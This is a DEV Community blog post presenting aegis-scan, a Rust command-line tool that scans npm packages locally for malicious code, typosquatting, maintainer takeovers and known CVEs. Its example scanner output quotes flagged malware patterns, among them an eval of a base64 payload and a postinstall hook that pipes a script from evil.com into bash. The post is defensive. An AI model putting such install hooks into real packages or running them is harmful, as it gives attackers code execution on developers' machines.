DEV Community

Pool Camacho
Pool Camacho

Posted on

I built an npm malware scanner in Rust because npm audit isn't enough

Last week I ran npm install on a new project. 847 packages downloaded in twelve seconds. And I thought: what if one of those just stole my AWS keys?

Not a crazy thought. It happened before.

In 2018, event-stream got a new maintainer who slipped in code that stole cryptocurrency wallets. Two million weekly downloads. In 2021, ua-parser-js was hijacked to install cryptominers. In 2022, the author of colors.js broke it on purpose, taking down thousands of projects overnight.

All of them passed npm audit with zero warnings.

npm audit only catches what someone already reported

npm audit checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent. That gap between "malicious code gets published" and "someone notices" can be days or weeks. By then, you already have it in your node_modules.

Snyk and Socket are better at this, but they're SaaS. You need an account, sometimes a paid plan, and your code goes to their servers for analysis.

I wanted something different: a tool that downloads the package, looks at the actual code, and tells me if something looks wrong. Locally. No accounts. No cloud.

So I built aegis-scan.

What it does

aegis-scan is a Rust CLI. You point it at a package and it tells you if the code looks suspicious:

$ aegis-scan check suspicious-pkg@1.0.0

  📦 suspicious-pkg@1.0.0

  ⛔ CRITICAL: Code Execution
  │  eval() with base64 encoded payload
  │  📄 lib/index.js:14
  │  └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())

  ⚠️  HIGH: Install Script
  │  postinstall downloads and executes remote script
  │  📄 package.json
  │  └─ "postinstall": "curl https://evil.com | bash"

  Risk: 8.5/10
Enter fullscreen mode Exit fullscreen mode

It downloads the tarball from npm, extracts it, and runs 9 different analyzers on the code. Then gives you a score from 0 to 10.

What it catches

Obfuscated eval with encoded payloads. The #1 pattern in npm malware. aegis-scan uses tree-sitter to parse the JavaScript AST, so it catches these even when spread across multiple statements.

Suspicious install scripts. A postinstall that runs curl | bash is how most npm attacks get code execution. aegis-scan flags any shell commands or network calls in lifecycle scripts.

Maintainer takeovers. When a package suddenly gets a new maintainer (like event-stream did), that's a red flag. aegis-scan checks the npm registry metadata for ownership changes.

AI hallucination packages. ChatGPT and Copilot sometimes suggest packages that don't exist. Attackers register those names with malicious code. aegis-scan flags packages that look like they were created just to catch this.

Known CVEs. Checks against the OSV.dev vulnerability database.

Typosquatting. Catches axois instead of axios, lodassh instead of lodash.

Getting started

cargo install aegis-scan

# check one package
aegis-scan check axios

# scan your whole project
aegis-scan scan .

# scan and then install
aegis-scan install express
Enter fullscreen mode Exit fullscreen mode

If you don't have Rust, grab a binary from the releases page.

CI integration

You can add it to your GitHub Actions pipeline:

- uses: z8run/aegis-action@v1
  with:
    path: '.'
    fail-on: 'high'
    sarif: 'true'
Enter fullscreen mode Exit fullscreen mode

With sarif: true, results show up in GitHub's Security tab. The action fails the build if any dependency is rated HIGH or CRITICAL.

How it works

aegis-scan pulls the package tarball, extracts it to a temp dir, and runs these analyzers:

  1. Static code analysis (regex patterns for eval, child_process, env harvesting)
  2. AST analysis (tree-sitter parses JS to catch structural patterns regex misses)
  3. Install script analysis (preinstall/postinstall hooks)
  4. Obfuscation detection (entropy analysis, encoded payloads)
  5. Maintainer tracking (ownership changes, new accounts)
  6. Hallucination detection (fake packages from LLM suggestions)
  7. CVE lookup (OSV.dev)
  8. Typosquatting check
  9. Custom YAML rules

Findings get weighted by severity and summed into a 0-10 risk score. Results are cached for 24 hours so repeated checks are instant.

It's Rust, so scanning 50+ dependencies takes a few seconds, not minutes.

Custom rules

You can add your own detection rules as YAML files:

id: "CUSTOM-001"
name: "Crypto wallet regex"
severity: high
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
Enter fullscreen mode Exit fullscreen mode

Drop them in a rules/ directory or pass --rules ./my-rules/.

Open source

MIT license. Code is at github.com/z8run/aegis.

Try running aegis-scan scan . on your current project. You might be surprised.

If you find it useful, a star on the repo helps other devs find it. And if it catches something real, I'd love to hear about it.

Top comments (0)